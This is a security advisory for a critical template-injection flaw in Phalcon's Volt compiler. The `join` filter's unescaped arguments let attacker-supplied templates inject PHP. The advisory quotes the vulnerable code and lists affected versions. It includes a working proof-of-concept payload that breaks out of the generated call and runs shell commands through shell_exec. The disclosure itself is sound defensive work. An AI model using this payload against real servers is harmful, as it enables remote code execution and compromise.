GHSA-hrwp-4hh9-c8r8critical9.2

Phalcon Volt compiler `join` filter compile-time PHP code injection (SSTI leads to RCE)

The advisory, in context

Summary

The Volt template compiler in Phalcon generates the PHP for the join filter by string-concatenating the filter's raw template-literal argument bytes with no escaping. The separator literal is dropped verbatim between two single quotes the compiler emits, and the piped array argument is emitted completely bare. A Volt template whose join arguments are attacker-influenced can therefore break out of the generated join('…') call and inject arbitrary PHP into the compiled template. Volt writes that compiled template to a cache file and require()s it at render time, so the injected PHP executes i.e. compile-time PHP code injection (server-side template injection -> remote code execution) for any application that compiles attacker-controlled Volt source.

Details

Root cause

phalcon/Mvc/View/Engine/Volt/Compiler.zep:2544-2546:

case "join":
    return "join('" . funcArguments[1]["expr"]["value"]
        . "', " . funcArguments[0]["expr"]["value"] . ")";

funcArguments[1]["expr"]["value"] (the separator) and funcArguments[0]["expr"]["value"] (the piped array) are the raw values of the parsed template tokens. Unlike every other expression in the compiler, they are not routed through expression() and receive no escaping: the separator value is spliced verbatim inside the join(' … ' quotes with no neutralisation of ', and the array value is emitted with no quoting at all. Volt's scanner stores string-literal bytes verbatim (escape sequences are not decoded), so attacker bytes survive intact into the generated PHP.

Generated-C ground truth -> build/phalcon/phalcon.zep.c (Phalcon 5.15.0):

ZEPHIR_CONCAT_SVSVS(return_value, "join('", &_19$$24, "', ", &_22$$24, ")");

i.e. literally "join('" + separator + "', " + array + ")" with both attacker-controlled fragments unescaped.

The compiled output is then written to a cache file and required by Phalcon\Mvc\View\Engine\Volt::render(), so any PHP spliced in by the attacker runs at render time.

PoC

<?php
use Phalcon\Mvc\View\Engine\Volt\Compiler;

$cmd = 'id; uname -a; hostname';

$b64 = base64_encode($cmd);
$tpl = "{{ ['x'] | join(\"',[]); echo shell_exec(base64_decode('$b64')); //\") }}";

$compiled = (new Compiler())->compileString($tpl);

$f = tempnam(sys_get_temp_dir(), 'volt') . '.php';
file_put_contents($f, $compiled);
include $f;
unlink($f);

Impact

Where an application compiles Volt source that is wholly or partly attacker-controlled, this yields remote code execution in the web-server process.

Affected packages

Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.

phalcon/cphalcon Packagist

Ecosystem versions

Earlier releases before 5.16.0

Fixed in 5.16.0

97 explicitly affected versions

5.10.0, 5.12.0, 5.9.0, 5.9.1, 5.9.2, 5.9.3, v3.0.0, v3.0.1, v3.0.2, v3.0.3, v3.0.4, v3.1.0, v3.1.0-alpha1, v3.1.0-alpha2, v3.1.1, v3.1.2, v3.2.0, v3.2.1, v3.2.2, v3.2.3, v3.2.4, v3.3.0, v3.3.1, v3.3.2, v3.4.0, v3.4.1, v3.4.2, v3.4.3, v3.4.4, v3.4.5, v4.0.0, v4.0.0-alpha.2, v4.0.0-alpha.3, v4.0.0-alpha.4, v4.0.0-alpha.5, v4.0.0-alpha1, v4.0.0-beta.1, v4.0.0-beta.2, v4.0.0-rc.1, v4.0.0-rc.2, v4.0.0-rc.3, v4.0.1, v4.0.2, v4.0.3, v4.0.4, v4.0.5, v4.0.6, v4.1.0, v4.1.1, v4.1.2, v4.1.3, v5.0.0, v5.0.0-alpha.1, v5.0.0-alpha.2, v5.0.0RC1, v5.0.0RC2, v5.0.0RC3, v5.0.0RC4, v5.0.0alpha3, v5.0.0alpha4, v5.0.0alpha5, v5.0.0alpha6, v5.0.0alpha7, v5.0.0beta1, v5.0.0beta2, v5.0.0beta3, v5.0.1, v5.0.2, v5.0.3, v5.0.4, v5.0.5, v5.1.0, v5.1.1, v5.1.2, v5.1.3, v5.1.4, v5.11.0, v5.11.1, v5.12.1, v5.13.0, v5.14.0, v5.14.1, v5.14.2, v5.15.0, v5.2.0, v5.2.1, v5.2.2, v5.2.3, v5.3.0, v5.3.1, v5.4.0, v5.5.0, v5.6.0, v5.6.1, v5.6.2, v5.7.0, v5.8.0

View affected-version evidence

{
  "ranges": [
    {
      "events": [
        {
          "introduced": "0"
        },
        {
          "fixed": "5.16.0"
        }
      ],
      "type": "ECOSYSTEM"
    }
  ],
  "versions": [
    "5.10.0",
    "5.12.0",
    "5.9.0",
    "5.9.1",
    "5.9.2",
    "5.9.3",
    "v3.0.0",
    "v3.0.1",
    "v3.0.2",
    "v3.0.3",
    "v3.0.4",
    "v3.1.0",
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    "v3.1.1",
    "v3.1.2",
    "v3.2.0",
    "v3.2.1",
    "v3.2.2",
    "v3.2.3",
    "v3.2.4",
    "v3.3.0",
    "v3.3.1",
    "v3.3.2",
    "v3.4.0",
    "v3.4.1",
    "v3.4.2",
    "v3.4.3",
    "v3.4.4",
    "v3.4.5",
    "v4.0.0",
    "v4.0.0-alpha.2",
    "v4.0.0-alpha.3",
    "v4.0.0-alpha.4",
    "v4.0.0-alpha.5",
    "v4.0.0-alpha1",
    "v4.0.0-beta.1",
    "v4.0.0-beta.2",
    "v4.0.0-rc.1",
    "v4.0.0-rc.2",
    "v4.0.0-rc.3",
    "v4.0.1",
    "v4.0.2",
    "v4.0.3",
    "v4.0.4",
    "v4.0.5",
    "v4.0.6",
    "v4.1.0",
    "v4.1.1",
    "v4.1.2",
    "v4.1.3",
    "v5.0.0",
    "v5.0.0-alpha.1",
    "v5.0.0-alpha.2",
    "v5.0.0RC1",
    "v5.0.0RC2",
    "v5.0.0RC3",
    "v5.0.0RC4",
    "v5.0.0alpha3",
    "v5.0.0alpha4",
    "v5.0.0alpha5",
    "v5.0.0alpha6",
    "v5.0.0alpha7",
    "v5.0.0beta1",
    "v5.0.0beta2",
    "v5.0.0beta3",
    "v5.0.1",
    "v5.0.2",
    "v5.0.3",
    "v5.0.4",
    "v5.0.5",
    "v5.1.0",
    "v5.1.1",
    "v5.1.2",
    "v5.1.3",
    "v5.1.4",
    "v5.11.0",
    "v5.11.1",
    "v5.12.1",
    "v5.13.0",
    "v5.14.0",
    "v5.14.1",
    "v5.14.2",
    "v5.15.0",
    "v5.2.0",
    "v5.2.1",
    "v5.2.2",
    "v5.2.3",
    "v5.3.0",
    "v5.3.1",
    "v5.4.0",
    "v5.5.0",
    "v5.6.0",
    "v5.6.1",
    "v5.6.2",
    "v5.7.0",
    "v5.8.0"
  ]
}

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